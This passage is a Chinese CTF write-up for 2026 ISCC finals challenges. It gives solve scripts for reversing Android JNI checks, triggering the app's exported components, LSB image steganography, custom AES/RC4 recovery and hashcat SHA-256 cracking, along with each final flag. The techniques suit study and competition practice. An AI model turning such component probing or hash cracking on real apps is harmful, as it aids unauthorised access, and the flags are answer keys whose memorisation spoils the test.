1 1t3k7lmhy2s6n58wfzoqpe9gcjuxbdairv04
取出的字符再进刚才从 hint.png 里抽出的 S 盒,并额外异或一个按 0x13 递增的滚动掩码,最终产出 32 字节种子。native 里的 _f_exp 和 _f_enc 随后会把这 32 字节当作 AES-256 密钥做 key expansion 和 16 字节分组加密,只不过所有 SubBytes 都换成了这张自定义 S 盒。
密文本身藏在 .data 里的 Base64 字符串:
1 z5hNvYOCx3SmRtyC9LmQdCI8NG6wcQ4l63I8Jkmg6cY=
native 先把它 Base64 解码成 32 字节,再分别与 0x66 异或,然后拿来和两块加密结果做比较。因此反过来只要复刻同样的自定义 AES-256 解密流程,就能直接得到明文:
最终 flag 为:
1 ISCC{whi5ker_7r4ce_ayAP}
平台自动提交返回 1,说明这题答案正确。
关键命令 1 2 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Mobile\消失的喵星密使\scripts\solve_vanishing_cat_messenger.py" python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\练武题\scripts\submit_flag.py" 66 "ISCC{whi5ker_7r4ce_ayAP}"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 from __future__ import annotationsimport argparseimport base64from pathlib import Pathfrom PIL import ImageROUTE = "VVFGDXGFAXXV" CUSTOM_ALPHABET = "1t3k7lmhy2s6n58wfzoqpe9gcjuxbdairv04" PAIR_MAP = {"A" : 0 , "D" : 1 , "F" : 2 , "G" : 3 , "V" : 4 , "X" : 5 } TARGET_B64 = "z5hNvYOCx3SmRtyC9LmQdCI8NG6wcQ4l63I8Jkmg6cY=" RCON = bytes .fromhex("01020408102040801b36" ) XOR_MASK = 0x66 def extract_sbox_from_hint (hint_path: Path ) -> bytes : img = Image.open (hint_path).convert("RGBA" ) raw = img.tobytes() bits = [(raw[i + 2 ] & 1 ) for i in range (0 , len (raw), 4 )] blob = bytearray (262 ) for idx, bit in enumerate (bits[: 262 * 8 ]): blob[idx // 8 ] |= bit << (7 - (idx % 8 )) if blob[:4 ] != b"MEOW" : raise ValueError(f"unexpected magic: {blob[:4 ]!r} " ) return bytes (blob[4 :260 ]) def reorder_route (route: str ) -> str : order = [] for start in (1 , 0 , 2 , 3 ): order.extend(route[i] for i in range (start, len (route), 4 )) return "" .join(order) def derive_seed (route: str , sbox: bytes ) -> bytes : reordered = reorder_route(route) out = bytearray () n = len (reordered) for i in range (32 ): left = reordered[(2 * i) % n] right = reordered[(2 * i + 1 ) % n] square_index = PAIR_MAP[left] * 6 + PAIR_MAP[right] chosen = CUSTOM_ALPHABET[square_index] out.append(sbox[ord (chosen)] ^ ((i * 0x13 ) & 0xFF )) return bytes (out) def build_inverse_sbox (sbox: bytes ) -> bytes : inv = [0 ] * 256 for i, value in enumerate (sbox): inv[value] = i return bytes (inv) def expand_key_256 (key: bytes , sbox: bytes ) -> bytes : if len (key) != 32 : raise ValueError("AES-256 key must be 32 bytes" ) expanded = bytearray (key) word_index = 8 while len (expanded) < 240 : temp = list (expanded[-4 :]) if word_index % 8 == 0 : temp = temp[1 :] + temp[:1 ] temp = [sbox[x] for x in temp] temp[0 ] ^= RCON[word_index // 8 - 1 ] elif word_index % 8 == 4 : temp = [sbox[x] for x in temp] prev = expanded[-32 :-28 ] expanded.extend((temp[i] ^ prev[i]) for i in range (4 )) word_index += 1 return bytes (expanded) def xtime (value: int ) -> int : return ((value << 1 ) ^ 0x1B ) & 0xFF if value & 0x80 else (value << 1 ) & 0xFF def gf_mul (a: int , b: int ) -> int : out = 0 while b: if b & 1 : out ^= a a = xtime(a) b >>= 1 return out def add_round_key (state: bytearray , round_key: bytes ) -> None : for i in range (16 ): state[i] ^= round_key[i] def inv_shift_rows (state: bytearray ) -> None : tmp = state[:] state[0 ], state[4 ], state[8 ], state[12 ] = tmp[0 ], tmp[4 ], tmp[8 ], tmp[12 ] state[1 ], state[5 ], state[9 ], state[13 ] = tmp[13 ], tmp[1 ], tmp[5 ], tmp[9 ] state[2 ], state[6 ], state[10 ], state[14 ] = tmp[10 ], tmp[14 ], tmp[2 ], tmp[6 ] state[3 ], state[7 ], state[11 ], state[15 ] = tmp[7 ], tmp[11 ], tmp[15 ], tmp[3 ] def inv_sub_bytes (state: bytearray , inv_sbox: bytes ) -> None : for i in range (16 ): state[i] = inv_sbox[state[i]] def inv_mix_columns (state: bytearray ) -> None : for column in range (4 ): i = column * 4 a0, a1, a2, a3 = state[i : i + 4 ] state[i + 0 ] = gf_mul(a0, 14 ) ^ gf_mul(a1, 11 ) ^ gf_mul(a2, 13 ) ^ gf_mul(a3, 9 ) state[i + 1 ] = gf_mul(a0, 9 ) ^ gf_mul(a1, 14 ) ^ gf_mul(a2, 11 ) ^ gf_mul(a3, 13 ) state[i + 2 ] = gf_mul(a0, 13 ) ^ gf_mul(a1, 9 ) ^ gf_mul(a2, 14 ) ^ gf_mul(a3, 11 ) state[i + 3 ] = gf_mul(a0, 11 ) ^ gf_mul(a1, 13 ) ^ gf_mul(a2, 9 ) ^ gf_mul(a3, 14 ) def decrypt_block (block: bytes , expanded_key: bytes , inv_sbox: bytes ) -> bytes : state = bytearray (block) add_round_key(state, expanded_key[14 * 16 : 15 * 16 ]) for round_index in range (13 , 0 , -1 ): inv_shift_rows(state) inv_sub_bytes(state, inv_sbox) add_round_key(state, expanded_key[round_index * 16 : (round_index + 1 ) * 16 ]) inv_mix_columns(state) inv_shift_rows(state) inv_sub_bytes(state, inv_sbox) add_round_key(state, expanded_key[:16 ]) return bytes (state) def recover_inner_flag (hint_path: Path ) -> str : sbox = extract_sbox_from_hint(hint_path) inv_sbox = build_inverse_sbox(sbox) seed = derive_seed(ROUTE, sbox) expanded_key = expand_key_256(seed, sbox) decoded = base64.b64decode(TARGET_B64) block1 = bytes (byte ^ XOR_MASK for byte in decoded[:16 ]) block2 = bytes (byte ^ XOR_MASK for byte in decoded[16 :]) plain = decrypt_block(block1, expanded_key, inv_sbox) + decrypt_block(block2, expanded_key, inv_sbox) return plain.rstrip(b"\x00" ).decode("ascii" ) def main () -> None : parser = argparse.ArgumentParser(description="Recover the final flag for 消失的喵星密使" ) parser.add_argument( "--hint" , default=Path(__file__).resolve().parents[1 ] / "outputs" / "apktool" / "assets" / "hint.png" , type =Path, help ="Path to hint.png" , ) args = parser.parse_args() inner = recover_inner_flag(args.hint) print (f"route = {ROUTE} " ) print (f"inner = {inner} " ) print (f"flag = ISCC{{{inner} }}" ) if __name__ == "__main__" : main()
验证输出 本地复现脚本输出如下:
1 2 3 route = VVFGDXGFAXXV inner = whi5ker_7r4ce_ayAP flag = ISCC{whi5ker_7r4ce_ayAP}
官方自动提交通道返回:
问题与解决 这题最容易卡住的地方,是把 Java 层那条 12 字符路线误当成最终答案。实际上它只是 native 密钥生成的一部分,后面还要经过重排、自定义 6 x 6 字母表、自定义 S 盒和 AES-256 风格分组加密,单独停在 MD5 命中那一步只会得到“校验路径正确”,拿不到 flag。
另一个坑点在 hint.png 的像素提取。native 并没有把 256 字节表直接明文塞在 assets 里,而是通过位图最低位隐写出来,并且前面还带了 MEOW 魔数。如果一开始没把 _f_ext 的位序和通道顺序弄对,后面看 _f_exp 和 _f_enc 会觉得像 AES,但始终没法真正跑通。
知识点总结 这题把 ADFGVX 风格坐标编码、图片 LSB 隐写、自定义 S 盒和 JNI 混合校验揉在了一起。做类似 Android Mobile 题时,Java 层通常负责把界面交互和输入格式讲清楚,native 层才是真正收口的位置。前者用来定路径,后者用来定答案,两边必须连起来看,才不会在“几乎对了”的地方反复打转。
最终 flag 1 ISCC{whi5ker_7r4ce_ayAP}
灰签名回廊 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
分类
Mobile
题目名称
灰签名回廊
题目 ID
68
分值
350
题面描述
凌晨两点,内网审计系统捕获到一台“已下线终端”的异常心跳。它像一座被遗弃的保险库,所有入口都还在,却没有任何一把完整钥匙。
附件
attachment-68.apk
附件 SHA256
33BBECA834570DA6F97F6BBF4D60DF964858DCC920A8662DFF1868AB3A883B7E
最终 flag
ISCC{ghsShEW_G9LV_HGr7_5QBd9q}
解题思路 这题是一个典型的 Android Java + JNI 混合校验题。表面看起来像是把四段输入分别送进四个 native 校验函数,实际上真正的难点不在“把四段碎片找出来”,而在“最后哪一条路径才是真答案”。
SecureValidator 会先检查格式 ISCC{...},再把花括号里的内容按 7 / 5 / 5 / 7 四段切开。第二段、第三段、第四段分别藏在三个隐藏组件里:SecretContentProvider、SecretReceiver、SecretActivity。如果只盯着主 Activity,很容易把这些导出组件误判成“调试残留”或者“无关彩蛋”,但它们其实正是题目给出的三把碎钥匙。
真正的坑在最后一段。前面几段约束都能逐步还原,只有 nativeVerifyPart4 乍看像是最终锁门函数,实际上它的限制远没有想象中强。把 JNI 逻辑完整翻译出来以后会发现,它只对末段前四个字符施加了一个 RC4 后的掩码条件,剩余空间仍然很大。也就是说,真正把答案唯一化的不是 nativeVerifyPart4,而是 Java 层最后整串 flag 的 SHA-256 校验。
所以这题最稳的成功路线不是硬猜,也不是只在 native 里死抠最后七位,而是先把所有局部约束完整还原,再把最后剩余的极小搜索空间交给 GPU 做定向枚举。题面里“正确路径看起来像错误捷径”的提示,落到实战里就是这一点:只要前面的语义都还原对了,最后那步并不是盲爆,而是确定性收口。
技术实施 先看三个隐藏组件。SecretContentProvider 访问 content://com.example.gnd.secret.provider/keys/fragment 时,会把一组异或后的字符拼起来,再用自定义 Base64 表编码,写入 SharedPreferences("key_cache") 的 fragment2。SecretReceiver 需要先发一次 auth 广播并带上 token ISCC2026,再发 getkey 且 part=3,才会把 fragment3 写入缓存。SecretActivity 则要求使用深链 securevault://secret/unlock?token=RC4_KEY_PART4 才会把 fragment4 写入缓存。把三个编码片段按题里的自定义字母表解回去,明文分别是 P4rN、EczC、ZD,对应的用户输入段最终收敛到 _G9LV、_HGr7 和末段校验所需的密钥材料。
第一段不能只靠 Java 层读字符串。SecureValidator 会取当前 APK 的签名证书做 SHA-256,再把前 4 个字节交给 nativeVerifyPart1。这里一个很容易踩坑的点是签名来源必须取 APK v2 signing block 里的真实证书,不能只看 META-INF 目录里的文本残留。把证书哈希前 4 字节正确取成 13 34 15 c3 之后,再结合 SecureValidator.a() 那个和 "onsSnA_" 的异或链,就能把第一段约束收敛到两个候选,其中高可信的一支是 ghsShEW。
接着需要把 nativeComputeChainToken 精确翻出来。这里之前最容易错的地方是把 stage 1 的输入误当成原始第一段字符串,实际上真正进入链式哈希的是 nativeVerifyPart1 返回给 Java 的那 7 个字节。把这一点修正以后,三段链值稳定落到:
1 2 3 c1 = 0x104db1e96812c247 c2 = 0xdd347d213f5a4535 c3 = 0xb979536e12142363
这个 c3 正是 nativeVerifyPart4 的关键。它的低 32 位会和 "Secu" 逐字节异或,得到 RC4 key 前缀 0Fwg。再和静态字节 P4rNEczCZD 拼起来,并用第四片段 ZD 把末尾两字节异或归零,最终实际参与校验的 key 就是:
继续把 nativeVerifyPart4 完整翻译为 Python 后,可以算出 RC4 前四字节 keystream 固定是:
此时末段前四个字符只需要满足:
1 2 v = ((((y0 << 6) ^ (y1 << 3) ^ y2) << 12) ^ (y3 << 9)) & 0x03ff0000 v == 0x003e0000
其中 yi = part4[i] ^ keystream[i]。把字符集限制在 [A-Za-z0-9_] 之后,这个条件依然保留了 61047 个合法前缀,显然不足以唯一确定最后七位。
因此最后一步转到整串 SHA-256。Java 里已经写死了目标哈希:
1 5a3963cac47f3ca4eec89502fcc759937425813b1ee31b149e7934e5791567fd
于是本地脚本先生成全部合法的末段前四位,再把高可信前缀 ISCC{ghsShEW_G9LV_HGr7_<first4> 写成 hashcat 左词典,让 GPU 只枚举最后三个字符和右花括号。这样总搜索空间虽然是十几亿量级,但 5090 上几秒钟就收口到了唯一结果:
1 ISCC{ghsShEW_G9LV_HGr7_5QBd9q}
最后再用本地校验脚本复核整串 SHA-256,以及 nativeVerifyPart4 的约束,随后自动提交 challenge 68,平台返回正确。
关键命令 1 2 3 4 5 6 7 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Mobile\灰签名回廊\scripts\solve_gray_signature_corridor.py" build-wordlists --output-dir "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Mobile\灰签名回廊\scripts" "D:\Forensic\ForensicTool\Decrypt\hashcat-7.1.2\hashcat.exe" -m 1400 -a 6 "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Mobile\灰签名回廊\scripts\target_sha256.txt" "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Mobile\灰签名回廊\scripts\hashcat_prefixes_ghsShEW.txt" "?1?1?1}" -1 "?u?l?d_" -D 2 -w 4 --potfile-disable --outfile "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Mobile\灰签名回廊\scripts\hashcat_result_ghsShEW.txt" --outfile-format 2 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Mobile\灰签名回廊\scripts\solve_gray_signature_corridor.py" check "ISCC{ghsShEW_G9LV_HGr7_5QBd9q}" python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\练武题\scripts\submit_flag.py" 68 "ISCC{ghsShEW_G9LV_HGr7_5QBd9q}"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 from __future__ import annotationsimport argparseimport hashlibimport itertoolsimport stringfrom pathlib import PathMASK64 = (1 << 64 ) - 1 M = 0x100000001B3 C = 0xFF51AFD7ED558CCD TARGET_SHA256 = "5a3963cac47f3ca4eec89502fcc759937425813b1ee31b149e7934e5791567fd" PART1_CANDIDATES = ["ghsShEW" , "^_zZ_LN" ] PART2 = "_G9LV" PART3 = "_HGr7" CHARSET = string.ascii_uppercase + string.ascii_lowercase + string.digits + "_" RET_STAGE1 = bytes .fromhex("7c5a66907d754a" ) FRAG2 = b"P4rN" FRAG3 = b"EczC" FRAG4 = b"ZD" EXPECTED_C3 = 0xB979536E12142363 EXPECTED_KEY = b"0FwgP4rNEczC\x00\x00" EXPECTED_KEYSTREAM4 = bytes .fromhex("59618bdd" ) def rol64 (value: int , shift: int ) -> int : return ((value << shift) & MASK64) | (value >> (64 - shift)) def compute_chain (stage: int , previous: int , data: bytes ) -> int : x = ((stage * M) & MASK64) ^ (previous & MASK64) for byte in data: x = rol64(((x ^ byte) * M) & MASK64, 13 ) y = x ^ (x >> 33 ) z = (y * C) & MASK64 return z ^ (z >> 33 ) def rc4_keystream (key: bytes , count: int ) -> bytes : s = list (range (256 )) j = 0 for i in range (256 ): j = (j + s[i] + key[i % len (key)]) & 0xFF s[i], s[j] = s[j], s[i] i = 0 j = 0 out = bytearray () for _ in range (count): i = (i + 1 ) & 0xFF j = (j + s[i]) & 0xFF s[i], s[j] = s[j], s[i] out.append(s[(s[i] + s[j]) & 0xFF ]) return bytes (out) def derive_part4_key () -> bytes : c1 = compute_chain(1 , 1597463007 , RET_STAGE1) c2 = compute_chain(2 , c1, FRAG2) c3 = compute_chain(3 , c2, FRAG3) if c3 != EXPECTED_C3: raise ValueError(f"unexpected c3: {c3:#x} " ) low = c3 & 0xFFFFFFFF prefix = bytes ( [ (low & 0xFF ) ^ ord ("S" ), ((low >> 8 ) & 0xFF ) ^ ord ("e" ), ((low >> 16 ) & 0xFF ) ^ ord ("c" ), ((low >> 24 ) & 0xFF ) ^ ord ("u" ), ] ) tail = bytearray (b"P4rNEczCZD" ) tail[-2 ] ^= FRAG4[0 ] tail[-1 ] ^= FRAG4[1 ] key = prefix + bytes (tail) if key != EXPECTED_KEY: raise ValueError(f"unexpected key: {key!r} " ) return key PART4_KEY = derive_part4_key() KEYSTREAM4 = rc4_keystream(PART4_KEY, 4 ) if KEYSTREAM4 != EXPECTED_KEYSTREAM4: raise ValueError(f"unexpected keystream: {KEYSTREAM4.hex ()} " ) def native_part4_accepts (part4: str ) -> bool : if len (part4) != 7 : return False raw = part4.encode("ascii" , "strict" ) y0 = raw[0 ] ^ KEYSTREAM4[0 ] y1 = raw[1 ] ^ KEYSTREAM4[1 ] y2 = raw[2 ] ^ KEYSTREAM4[2 ] y3 = raw[3 ] ^ KEYSTREAM4[3 ] value = ((((y0 << 6 ) ^ (y1 << 3 ) ^ y2) << 12 ) ^ (y3 << 9 )) & 0x03FF0000 return value == 0x003E0000 def build_first4_candidates (charset: str ) -> list [str ]: candidates: list [str ] = [] for chars in itertools.product(charset, repeat=4 ): prefix = "" .join(chars) if native_part4_accepts(prefix + "AAA" ): candidates.append(prefix) return candidates def build_wordlists (output_dir: Path, charset: str ) -> None : output_dir.mkdir(parents=True , exist_ok=True ) first4 = build_first4_candidates(charset) (output_dir / "part4_first4.txt" ).write_text("\n" .join(first4) + "\n" , encoding="ascii" ) for part1 in PART1_CANDIDATES: prefixes = [f"ISCC{{{part1} {PART2} {PART3} {p} " for p in first4] name = f"hashcat_prefixes_{part1.replace('^' , 'caret' )} .txt" (output_dir / name).write_text("\n" .join(prefixes) + "\n" , encoding="ascii" ) print (f"generated {len (first4)} valid part4 first4 prefixes" ) print (f"saved files under: {output_dir} " ) def check_flag (flag: str ) -> None : digest = hashlib.sha256(flag.encode("ascii" )).hexdigest() print (f"sha256={digest} " ) print (f"match={digest == TARGET_SHA256} " ) if flag.startswith("ISCC{" ) and flag.endswith("}" ): inner = flag[5 :-1 ] print (f"inner_length={len (inner)} " ) if len (inner) == 24 : part4 = inner[17 :] print (f"part4={part4} " ) print (f"native_part4={native_part4_accepts(part4)} " ) def main () -> None : parser = argparse.ArgumentParser(description="Gray Signature Corridor local helper" ) subparsers = parser.add_subparsers(dest="cmd" , required=True ) build = subparsers.add_parser("build-wordlists" ) build.add_argument( "--output-dir" , default=Path(__file__).resolve().parent, type =Path, ) build.add_argument("--charset" , default=CHARSET) check = subparsers.add_parser("check" ) check.add_argument("flag" ) show = subparsers.add_parser("show" ) show.add_argument("--charset" , default=CHARSET) args = parser.parse_args() if args.cmd == "build-wordlists" : build_wordlists(args.output_dir, args.charset) return if args.cmd == "check" : check_flag(args.flag) return if args.cmd == "show" : first4 = build_first4_candidates(args.charset) print (f"count={len (first4)} " ) print (f"first10={first4[:10 ]} " ) return if __name__ == "__main__" : main()
验证输出 本地约束脚本先生成了全部合法的末段前四位前缀,总数为 61047。随后把这些前缀交给 hashcat,并只枚举最后三个字符与右花括号,最终命中了唯一答案。
1 2 3 4 5 6 7 8 9 10 11 generated 61047 valid part4 first4 prefixes ISCC{ghsShEW_G9LV_HGr7_5QBd9q} sha256=5a3963cac47f3ca4eec89502fcc759937425813b1ee31b149e7934e5791567fd match=True inner_length=24 part4=_5QBd9q native_part4=True 提交正确
问题与解决 这题前面最容易走偏的地方有三个。一个是证书来源,如果只看 META-INF,第一段会一直算不对;必须回到 APK v2 signing block 里提取真实证书哈希。另一个是链值计算,nativeComputeChainToken 的 stage 1 输入必须使用 nativeVerifyPart1 返回给 Java 的 7 字节结果,不能直接拿原始明文第一段替代。
最后一个坑就是 nativeVerifyPart4 本身。它看上去像最终锁门函数,但真正翻完之后会发现它根本不足以唯一确定最后七位。如果只在这里打转,会始终觉得“还差一点”。把眼光抬回 Java 层最后的整串 SHA-256 校验以后,这题才真正闭环。
知识点总结 这题把 Android 导出组件、SharedPreferences、证书签名、JNI 校验、自定义编码和 GPU 定向枚举揉在了一起。类似题目里,隐藏的 provider / receiver / deep link 很多时候不是干扰项,而是作者故意拆开的多条取钥路径。
另一个经验是不要把“有限搜索”误判成“无意义爆破”。当局部语义已经被严格还原,剩余空间又能被最终哈希唯一化时,用 GPU 收口本身就是解题流程的一部分,而且往往比继续在错误的静态细节里反复打转更稳。
最终 flag 1 ISCC{ghsShEW_G9LV_HGr7_5QBd9q}
Misc 物尽其用 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
分类
Misc
题目名称
物尽其用
题目 ID
64
分值
300
题面描述
细微之处见真章,考验细心程度的时候到了
提示附件
attachment-64.txt
提示附件 SHA256
10F6318221D232EC4AB4DA214560CC01084F8903FFD3A012827948C6CD8389D5
网盘下载文件
TrainModel.zip
网盘文件 SHA256
4EC4F03B2E94968383B64FA98031DBE89095F7E6D044714BA668BDD05E95B127
解题思路 这题表面上给的是一个网盘下载链接和一个 train.exe 训练包,看起来像是“跑模型拿结果”的题,但真正关键并不在训练本身,而在训练产物里隐藏的两层信息。
先解压 TrainModel.zip,可以拿到 Input.png、train.exe、config.json 和 model_state.npz。其中 model_state.npz 里有一段 base_hint_bytes,按 base64 + gzip 解码后能直接得到提示:
1 ISCC{MD5(flag1R||flag2G)}
这说明最终 flag 不是直接提交图里看到的某个字符串,而是要先确定两张“flag 图”对应的通道内容,再做一次 MD5。
继续分析 train.exe 解包出的 core_secret.pyd。这个模块暴露了 SimpleStegoModel、build_quadrant_image、embed_multichannel_payloads、apply_channel_transform 和 extract_multichannel_payloads 等接口,已经足够把整条出图链条本地重建出来。
直接提取原始输入图和恢复后的输出图时,能看到两组不同的通道结果:
1 2 3 4 5 6 7 8 9 Input.png: R = ISCC{KcPZDUnoRI} G = ISCC{xragevEhue} B = ISCC{BYFXJDvieT} 恢复输出图: R = ISCC{ueErehgvax} G = ISCC{DFeiXTJYvB} B = ISCC{UcKonRZIDP}
如果只把这些字符串拿去自由组合,会很容易陷入大量错误候选。真正有效的突破点是把恢复流程完整复现出来,确认第二张图到底是怎样从底层 payload 变换出来的。
本地重建恢复流程后可以确认,恢复输出图 out2 实际上来自同一组底层 payload:
1 2 3 R = ISCC{UcKonRZIDP} G = ISCC{ueErehgvax} B = ISCC{DFeiXTJYvB}
这说明题目给出的原始 Input.png 已经是第一张 flag 图,而恢复流程只是把同一组底层 payload 再变换成第二张图。于是提示里的两项可以直接按字面理解:
第一张图 Input.png 的 R 通道可见结果 是 KcPZDUnoRI
第二张图 out2 的 G 通道可见结果 是 DFeiXTJYvB
把这两个字符串直接拼接后做 MD5,得到最终答案。
技术实施 先从 model_state.npz 中取出提示字节并解码,确认最终格式是 MD5(flag1R||flag2G)。
然后导入 core_secret.pyd,固定 key=37 重新跑 SimpleStegoModel.forward,再用 normal 模式构造恢复流程的四象限底图。可以发现恢复输出图的底图来自 forward_37,而不是恢复后新的 key=133 前向结果。
接着把同一组底层 payload:
1 2 3 ISCC{UcKonRZIDP} ISCC{ueErehgvax} ISCC{DFeiXTJYvB}
写回三通道,再调用:
1 apply_channel_transform(..., stats2, "normal")
可以得到和真实恢复输出图完全一致的 out2。这一点非常关键,因为它证明了第二张图只是同一组底层 payload 在恢复流程中的另一种可见形态。
最后再对原始输入图和恢复输出图做提取,按提示取:
1 2 flag1R = KcPZDUnoRI flag2G = DFeiXTJYvB
拼接后计算 MD5:
1 2 MD5("KcPZDUnoRI" + "DFeiXTJYvB") = 818e95735e2256a4ed5cd9eef6b48e1c
最终 flag 为 ISCC{818e95735e2256a4ed5cd9eef6b48e1c}。
关键命令 1 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\Misc\物尽其用\scripts\solve_flag.py"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from __future__ import annotationsimport hashlibimport sysimport typesfrom pathlib import Pathimport numpy as npfrom PIL import ImageBASE_DIR = Path(__file__).resolve().parents[1 ] OUTPUTS_DIR = BASE_DIR / "outputs" NUITKA_DIR = OUTPUTS_DIR / "nuitka_unpack" def _install_tqdm_stub () -> None : mod = types.ModuleType("tqdm" ) mod.tqdm = lambda x=None , *args, **kwargs: x if x is not None else [] sys.modules["tqdm" ] = mod def _load_core_secret (): _install_tqdm_stub() sys.path.insert(0 , str (NUITKA_DIR)) import core_secret return core_secret def _strip_flag_text (data: bytes ) -> str : text = data.decode("ascii" , errors="ignore" ).split("\x00" , 1 )[0 ] if text.startswith("ISCC{" ) and text.endswith("}" ): return text[5 :-1 ] return text def main () -> None : core_secret = _load_core_secret() input_path = OUTPUTS_DIR / "trainmodel_extract" / "Input.png" input_rgb = np.array(Image.open (input_path).convert("RGB" )) input_gray = np.array(Image.open (input_path).convert("L" )) model = core_secret.SimpleStegoModel((input_gray.shape[0 ], input_gray.shape[1 ]), 37 ) forward_37 = model.forward(input_gray) quad_normal = core_secret.build_quadrant_image(input_rgb, forward_37, "normal" ) payloads = { "R" : b"ISCC{UcKonRZIDP}" , "G" : b"ISCC{ueErehgvax}" , "B" : b"ISCC{DFeiXTJYvB}" , } stats2 = { "epoch" : 6 , "train_loss" : 0.146593641236 , "val_loss" : 0.162685928915 , "acc" : 1.0 , } rebuilt_out2 = core_secret.apply_channel_transform( core_secret.embed_multichannel_payloads(quad_normal.copy(), payloads), stats2, "normal" , ) real_out2 = np.array(Image.open (OUTPUTS_DIR / "trainmodel_recovery" / "Output.png" ).convert("RGB" )) assert np.array_equal(rebuilt_out2, real_out2), "out2 reconstruction mismatch" flag1_payloads = core_secret.extract_multichannel_payloads(input_rgb) out2_payloads = core_secret.extract_multichannel_payloads(real_out2) flag1_r = _strip_flag_text(flag1_payloads["R" ]) flag2_g = _strip_flag_text(out2_payloads["G" ]) final = hashlib.md5((flag1_r + flag2_g).encode("ascii" )).hexdigest() print (f"flag1R = {flag1_r} " ) print (f"flag2G = {flag2_g} " ) print (f"ISCC{{{final} }}" ) if __name__ == "__main__" : main()
验证输出 本地脚本输出:
1 2 3 flag1R = KcPZDUnoRI flag2G = DFeiXTJYvB ISCC{818e95735e2256a4ed5cd9eef6b48e1c}
使用官方站点提交该 flag,接口返回 1,表示答案正确。
问题与解决 这题最容易误入的坑,是把恢复流程中出现的多组字符串混在一起自由组合。真正应该使用的是原始 Input.png 里的 flag1R,以及恢复输出图里的 flag2G。如果不先把“哪张图才是 flag1、哪张图才是 flag2”这件事厘清,很容易一直在错误候选里打转。
另一个关键点是恢复流程虽然把模型 key 改成了 133,但最终四象限底图依然可以用 forward_37 精确解释。把这一点确认以后,整题逻辑就完全收敛了。
知识点总结 这类 Misc 题虽然披着“训练模型”的外衣,本质还是隐写与可逆图像流水线分析。遇到这类题时,不要只盯最终图像里直接可见的字符串,更要想办法把内部生成链条拆开验证。
对黑盒模块而言,只要还能调用其中暴露出来的接口,就可以通过“重建输入、比对输出”的方式一步步把真实逻辑逼出来。这比单纯猜测字符串组合稳定得多。
最终 flag 1 ISCC{818e95735e2256a4ed5cd9eef6b48e1c}
数字奥秘 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
分类
Misc
题目名称
数字奥秘
题目 ID
65
分值
300
附件
attachment-65.zip
最终 flag
ISCC{RIBkTEDubDNkfwGRc5JclDtXKMcGlITj}
解题思路 附件解压后得到的文件名虽然是 challenge.bin,但文件头实际是 PNG。先用图片解析工具读取 PNG 元信息,可以发现 tEXt 字段里直接藏着三类关键数据:一段类似 Brainfuck 的 SYNC_CODE、一组周期参数 PERIODS,以及一个 Base64 编码的 SYNC_PAYLOAD。
继续检查 PNG 末尾,在 IEND 后面还能发现附加的 vm.py。这说明题目不是单纯图片隐写,而是要把 PNG 元数据、尾部虚拟机源码和同步提示组合起来理解。
SYNC_HINT 给出了解题方向:
1 payload=base64;encryption=xor;key=merged_result;method=crt
因此核心任务变成三步:先从 SYNC_CODE 中恢复传感器数据,再用 CRT 和 PERIODS 合并得到 merged_result,最后构造 XOR 密钥解开 SYNC_PAYLOAD。
技术实施 SYNC_CODE 中每个 > 分隔一段 + 序列,直接统计各段 + 数量得到原始长度:
1 [1606, 2166, 10488, 14207, 5387, 9887, 9446, 206]
尾部附加的 vm.py 是关键。虚拟机源码中把浮点寄存器写回整数时用了 int(self.fp_reg),这会向零截断;但结合题面提示和实际同步逻辑,正确行为应当是四舍五入。于是每段长度乘以 0.1 后使用 round,得到真正参与 CRT 的传感器数据:
1 [161, 217, 1049, 1421, 539, 989, 945, 21]
再把这组余数与 PNG 元信息中的周期:
1 [420, 556, 1362, 1485, 886, 1426, 1057, 325]
做广义 CRT 合并,得到:
题目还有一个同步标签提示。把提示内容反复 Base64 解码后可以得到:
最终 XOR 密钥并不是直接使用字符串,而是先拼接:
1 8317421:SYNC_SENSOR_2025
再计算 SHA256 digest,得到 32 字节循环 XOR 密钥:
